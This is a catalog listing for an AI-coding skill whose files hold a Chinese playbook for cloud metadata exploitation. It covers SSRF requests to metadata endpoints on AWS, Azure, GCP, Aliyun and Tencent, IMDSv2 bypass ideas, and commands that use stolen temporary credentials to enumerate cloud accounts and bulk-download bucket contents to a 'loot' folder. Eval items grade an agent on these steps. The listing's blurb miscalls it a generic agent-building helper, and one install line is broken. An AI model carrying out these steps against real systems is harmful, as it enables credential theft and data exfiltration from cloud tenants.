
Cloud Metadata
- 30 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
cloud-metadata is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- cloud-metadata
- AI & Agent Building
- AI-coding skill
Cloud Metadata by the numbers
- 30 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #9,276 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill cloud-metadataAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 30 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
云元数据利用方法论
IMDS 是从 SSRF/RCE 到云控制面的桥梁——一个 HTTP 请求就能获取 IAM/CAM 临时凭据。
⛔ 深入参考(必读)
- 各云平台凭据提取详细命令、AWS/腾讯云快速利用、元数据信息路径 → references/credential-extraction.md
---
Phase 1: 确认云环境
| 线索 | 云平台 |
|---|---|
x-amz-* Header, Server: AmazonS3 | AWS |
x-ms-* Header, .azurewebsites.net | Azure |
.googleapis.com, x-goog-* Header | GCP |
.aliyuncs.com, x-oss-* Header | 阿里云 |
.myqcloud.com, x-cos-* Header, Server: tencent-cos | 腾讯云 |
Phase 2: 元数据端点速查
# AWS (IMDSv1 — 直接 GET)
http://169.254.169.254/latest/meta-data/
# AWS (IMDSv2 — 需要 PUT 获取 Token)
PUT http://169.254.169.254/latest/api/token
Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Header: Metadata: true
# GCP
http://metadata.google.internal/computeMetadata/v1/
Header: Metadata-Flavor: Google
# 阿里云
http://100.100.100.200/latest/meta-data/
# 腾讯云(CVM/轻量应用服务器/Lighthouse)
http://metadata.tencentyun.com/latest/meta-data/
# 也可通过 IP 访问
http://169.254.0.23/latest/meta-data/腾讯云元数据完整路径
# 基础信息
http://metadata.tencentyun.com/latest/meta-data/
http://metadata.tencentyun.com/latest/meta-data/instance-id
http://metadata.tencentyun.com/latest/meta-data/uuid
http://metadata.tencentyun.com/latest/meta-data/hostname
http://metadata.tencentyun.com/latest/meta-data/local-ipv4
http://metadata.tencentyun.com/latest/meta-data/public-ipv4
http://metadata.tencentyun.com/latest/meta-data/instance-type
# 区域信息
http://metadata.tencentyun.com/latest/meta-data/placement/region
http://metadata.tencentyun.com/latest/meta-data/placement/zone
# 网络(需先获取 MAC 地址)
http://metadata.tencentyun.com/latest/meta-data/mac
http://metadata.tencentyun.com/latest/meta-data/network/interfaces/macs/<mac>/vpc-id
http://metadata.tencentyun.com/latest/meta-data/network/interfaces/macs/<mac>/subnet-id
http://metadata.tencentyun.com/latest/meta-data/network/interfaces/macs/<mac>/local-ipv4
# CAM 角色凭据(关键攻击面!)
http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/
# ↑ 列出挂载的角色名称
http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/<role-name>
# ↑ 返回临时凭据: TmpSecretId, TmpSecretKey, Token, ExpiredTime
# 用户数据(启动脚本——经常包含密码!)
http://metadata.tencentyun.com/latest/user-dataPhase 3: SSRF → 元数据
- 直接用 SSRF 请求
http://169.254.169.254/...(AWS/Azure/GCP) - 直接用 SSRF 请求
http://metadata.tencentyun.com/...(腾讯云,域名方式) - 直接用 SSRF 请求
http://100.100.100.200/...(阿里云) - IMDSv2 需要 PUT + 自定义 Header → 大多数 SSRF 无法设置 Header,这是 IMDSv2 的防护价值
- 绕过:
http://[::ffff:169.254.169.254]/、DNS rebinding、302 重定向 - 腾讯云和阿里云的元数据服务不需要特殊 Header(与 IMDSv1 类似,更容易被 SSRF 利用)
Phase 4: 凭据利用决策树
获取到凭据?
├─ AWS → export 环境变量 → aws sts get-caller-identity → 枚举 S3/EC2/Lambda/Secrets
├─ Azure → Bearer Token → 枚举资源
├─ GCP → OAuth Token → 枚举项目资源
├─ 阿里云 → STS Token → 枚举 OSS/ECS
└─ 腾讯云 → 配置 tccli → 枚举 COS/CVM/SCF/CAM
├─ tccli configure(交互式)或设置环境变量
├─ tccli sts GetCallerIdentity(验证身份)
├─ coscli ls 或 Python SDK(列出存储桶,tccli 不支持 GetService)
├─ tccli cvm DescribeInstances(列出实例)
└─ → 转入 cloud-iam-audit 技能进行提权评估
详细命令 → [references/credential-extraction.md](references/credential-extraction.md)腾讯云凭据快速配置
# 方式 1: tccli configure
tccli configure
# SecretId: 从元数据获取的 TmpSecretId
# SecretKey: 从元数据获取的 TmpSecretKey
# token: 从元数据获取的 Token
# Region: 从元数据 placement/region 获取
# 方式 2: 环境变量(适合脚本化)
export TENCENTCLOUD_SECRET_ID="TmpSecretId"
export TENCENTCLOUD_SECRET_KEY="TmpSecretKey"
export TENCENTCLOUD_SESSION_TOKEN="Token"
# 验证
tccli sts GetCallerIdentity获取云凭据后,进行 IAM 提权评估。
注意事项
- IMDSv2 是 AWS 对元数据 SSRF 的主要防护——纯 SSRF 基本无法利用
- 腾讯云和阿里云元数据不强制 Token,SSRF 利用门槛更低
- 云凭据有过期时间(通常 6-12 小时),获取后应立即利用
- 凭据操作会留下 CloudTrail/CloudAudit 日志,注意操作痕迹
- User-Data (
/latest/user-data) 经常包含启动脚本中的密码 - 腾讯云元数据域名
metadata.tencentyun.com只能在实例内网访问
后续利用
- 获取云凭据后可进行横向移动,访问更多云资源
- 腾讯云: 凭据 → tccli/coscli 枚举 COS → 搜索敏感数据 → CAM 提权
- AWS: 凭据 → awscli 枚举 S3/EC2/Lambda → IAM 提权
{
"skill_name": "cloud-metadata",
"evals": [
{
"id": 1,
"name": "cloud-aliyun-metadata-endpoint",
"prompt": "通过 SSRF 你可以访问内网 IP。目标响应头中有 x-oss-request-id。你尝试请求 http://169.254.169.254/latest/meta-data/ 但 404 了。问题在哪?",
"expected_output": "x-oss-request-id 表示阿里云而非 AWS,阿里云元数据地址是 http://100.100.100.200/latest/meta-data/",
"expectations": [
"100.100.100.200|阿里云|不是169.254",
"x-oss|阿里云OSS|阿里云平台",
"不同云|不同端点|元数据地址不同",
"100.100.100.200/latest/meta-data|阿里云IMDS",
"先确认云平台|再选端点"
],
"required_terms": [
"100.100.100.200/latest/meta-data",
"100.100.100.200",
"x-oss"
]
},
{
"id": 2,
"name": "cloud-imdsv2-ssrf-limitation",
"prompt": "目标 AWS EC2 启用了 IMDSv2。你有一个 SSRF 漏洞(可以发 GET 请求到任意 URL)。为什么你无法直接获取元数据?有什么绕过思路?",
"expected_output": "IMDSv2 需要先 PUT 获取 Token(带自定义 Header),普通 SSRF 只能 GET。绕过:DNS rebinding、302 重定向、找到可控 PUT 的 SSRF",
"expectations": [
"IMDSv2|PUT请求|Token|X-aws-ec2-metadata-token",
"GET无法获取|需要先PUT|两步操作",
"自定义Header|X-aws-ec2-metadata-token-ttl-seconds",
"DNS rebinding|302重定向|绕过思路",
"SSRF类型限制|只能GET|无法设置Header"
],
"required_terms": [
"IMDSv2",
"DNS rebinding",
"Token"
]
},
{
"id": 3,
"name": "cloud-metadata-to-lateral-movement",
"prompt": "通过 SSRF 你从 http://169.254.169.254/latest/meta-data/iam/security-credentials/webapp-role 获取到了 AccessKeyId(ASIA...)、SecretAccessKey 和 SessionToken。下一步你应该做什么?",
"expected_output": "配置 AWS CLI 用临时凭据 → sts get-caller-identity 确认身份 → 枚举 S3/EC2/IAM 权限 → 横向移动",
"expectations": [
"aws configure|环境变量|AWS_ACCESS_KEY_ID|配置凭据",
"sts get-caller-identity|确认身份|我是谁",
"ASIA开头|临时凭据|需要SessionToken",
"s3 ls|ec2 describe|iam list|枚举权限",
"横向移动|更多资源|提权路径"
],
"required_terms": [
"AWS_ACCESS_KEY_ID",
"sts get-caller-identity",
"ec2 describe"
]
}
]
}
{
"skill_id": "cloud-metadata",
"recall_tests": [
{
"id": 1,
"type": "keyword_positive",
"description": "核心关键词",
"keywords": [
"cloud metadata",
"元数据",
"imds",
"metadata"
]
},
{
"id": 2,
"type": "keyword_positive",
"description": "场景搜索",
"keywords": [
"ssrf",
"aliyun",
"云安全"
]
},
{
"id": 3,
"type": "keyword_negative",
"description": "不应被CTF召回",
"keywords": [
"ctf flag",
"capture the flag"
]
}
],
"llm_tests": [
{
"id": 1,
"name": "cloud-metadata-scenario",
"scenario": "目标运行在 AWS EC2 上,存在 SSRF 漏洞,可以访问内网。请搜索云元数据服务利用方法。",
"max_rounds": 2,
"expect_tool_calls": [
{
"tool": "list_skills",
"keyword_contains": "metadata|cloud|169.254|imds"
},
{
"tool": "read_skill",
"id": "cloud-metadata"
}
]
}
]
}
云凭据提取与利用
AWS IAM Role 凭据
# 列出挂载的 IAM Role
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 获取临时凭据(返回 AccessKeyId + SecretAccessKey + Token)
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>返回示例:
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "xxx",
"Token": "xxx",
"Expiration": "2024-01-01T00:00:00Z"
}Azure Managed Identity Token
GET http://169.254.169.254/metadata/identity/oauth2/token
?api-version=2018-02-01
&resource=https://management.azure.com/
Header: Metadata: trueGCP Service Account Token
GET http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Header: Metadata-Flavor: Google阿里云 STS Token
GET http://100.100.100.200/latest/meta-data/ram/security-credentials/<role-name>腾讯云 CAM 角色凭据
# Step 1: 列出挂载的角色名称
GET http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/
# 返回纯文本角色名称,如: my-cvm-role
# Step 2: 获取角色临时凭据
GET http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/<role-name>返回示例:
{
"TmpSecretId": "AKIDxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
"TmpSecretKey": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
"Token": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
"ExpiredTime": "2024-01-01T12:00:00Z",
"Code": "Success"
}腾讯云临时凭据通常有效期为 1-6 小时,与 AWS 类似。
---
AWS 快速利用
# 配置凭据
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=xxx
export AWS_SESSION_TOKEN=xxx
# 确认身份
aws sts get-caller-identity
# 枚举 S3
aws s3 ls
# 枚举 EC2
aws ec2 describe-instances --region us-east-1
# 枚举 Lambda
aws lambda list-functions --region us-east-1
# 枚举 Secrets Manager
aws secretsmanager list-secrets --region us-east-1---
腾讯云快速利用(tccli 优先)
# 方式 1: 交互式配置
tccli configure
# 输入 TmpSecretId, TmpSecretKey, Region(如 ap-guangzhou), token
# 方式 2: 环境变量
export TENCENTCLOUD_SECRET_ID="AKIDxxx..."
export TENCENTCLOUD_SECRET_KEY="xxxx=="
export TENCENTCLOUD_SESSION_TOKEN="TOKEN..."
export TENCENTCLOUD_REGION="ap-guangzhou"
# 确认身份
tccli sts GetCallerIdentity
# 枚举 COS 存储桶(tccli 不支持 GetService,使用 coscli 或 SDK)
coscli ls
# 或 Python SDK:
# from qcloud_cos import CosConfig, CosS3Client
# client = CosS3Client(CosConfig(Region='ap-guangzhou', SecretId='Sid', SecretKey='Skey'))
# print(client.list_buckets())
# 枚举 CVM 实例
tccli cvm DescribeInstances
# 枚举 SCF 云函数
tccli scf ListFunctions --Namespace default --Limit 50
# 枚举 CAM 用户
tccli cam ListUsers
# 枚举 CAM 角色
tccli cam DescribeRoleList --Page 1 --Rp 50
# 枚举 CAM 策略
tccli cam ListPolicies --Scope Local --Page 1 --Rp 100
# 列出 AccessKey
tccli cam ListAccessKeyscoscli 快速操作 COS
# 安装 coscli(根据系统架构选择对应版本)
# Linux amd64(最常见)
wget https://cosbrowser.cloud.tencent.com/software/coscli/coscli-linux-amd64
mv coscli-linux-amd64 /usr/local/bin/coscli && chmod +x /usr/local/bin/coscli
# Linux arm64
wget https://cosbrowser.cloud.tencent.com/software/coscli/coscli-linux-arm64
mv coscli-linux-arm64 /usr/local/bin/coscli && chmod +x /usr/local/bin/coscli
# macOS arm64 (M1/M2)
wget https://cosbrowser.cloud.tencent.com/software/coscli/coscli-darwin-arm64
mv coscli-darwin-arm64 /usr/local/bin/coscli && chmod +x /usr/local/bin/coscli
# macOS amd64 (Intel)
wget https://cosbrowser.cloud.tencent.com/software/coscli/coscli-darwin-amd64
mv coscli-darwin-arm64 /usr/local/bin/coscli && chmod +x /usr/local/bin/coscli
# 配置(交互式,生成 ~/.cos.yaml)
coscli config init
# 按提示输入: SecretId, SecretKey, SessionToken(临时凭据时填), APPID, Bucket-Region
# 配置文件 ~/.cos.yaml 示例:
# cos:
# secretid: AKIDxxx
# secretkey: xxxx==
# sessiontoken: TOKEN # 临时凭据时
# appid: 1250000000
# buckets:
# - name: mybucket-1250000000
# region: ap-guangzhou
# 列出所有桶
coscli ls
# 列出桶内文件
coscli ls cos://BUCKET-APPID/ -r
# 搜索敏感文件
coscli ls cos://BUCKET-APPID/ -r --include "*.env" --include "*.sql" --include "*.bak"
# 下载文件
coscli cp cos://BUCKET-APPID/path/to/file ./
# 批量下载
coscli cp cos://BUCKET-APPID/ ./loot/ -r---
高价值目标
- COS/S3 存储桶:可能包含备份、日志、敏感数据
- Secrets Manager / SSM Parameter Store:数据库密码、API 密钥
- Lambda/SCF 代码:可能包含硬编码凭据
- EC2/CVM User-Data:启动脚本可能包含密码
- SSL 证书:可能包含私钥(
tccli ssl DescribeCertificates) - KMS 密钥:加密密钥管理
其他元数据信息
除了凭据,元数据还包含有价值的信息:
AWS
/latest/meta-data/instance-id
/latest/meta-data/instance-type
/latest/meta-data/ami-id
/latest/meta-data/hostname
/latest/meta-data/local-ipv4
/latest/meta-data/public-ipv4
/latest/meta-data/network/interfaces/macs/<mac>/vpc-id
/latest/meta-data/network/interfaces/macs/<mac>/subnet-id
/latest/user-data腾讯云
http://metadata.tencentyun.com/latest/meta-data/instance-id
http://metadata.tencentyun.com/latest/meta-data/uuid
http://metadata.tencentyun.com/latest/meta-data/hostname
http://metadata.tencentyun.com/latest/meta-data/local-ipv4
http://metadata.tencentyun.com/latest/meta-data/public-ipv4
http://metadata.tencentyun.com/latest/meta-data/placement/region
http://metadata.tencentyun.com/latest/meta-data/placement/zone
http://metadata.tencentyun.com/latest/meta-data/mac
http://metadata.tencentyun.com/latest/meta-data/network/interfaces/macs/<mac>/vpc-id
http://metadata.tencentyun.com/latest/meta-data/network/interfaces/macs/<mac>/subnet-id
http://metadata.tencentyun.com/latest/user-dataRelated skills
AI & Agent Buildingagents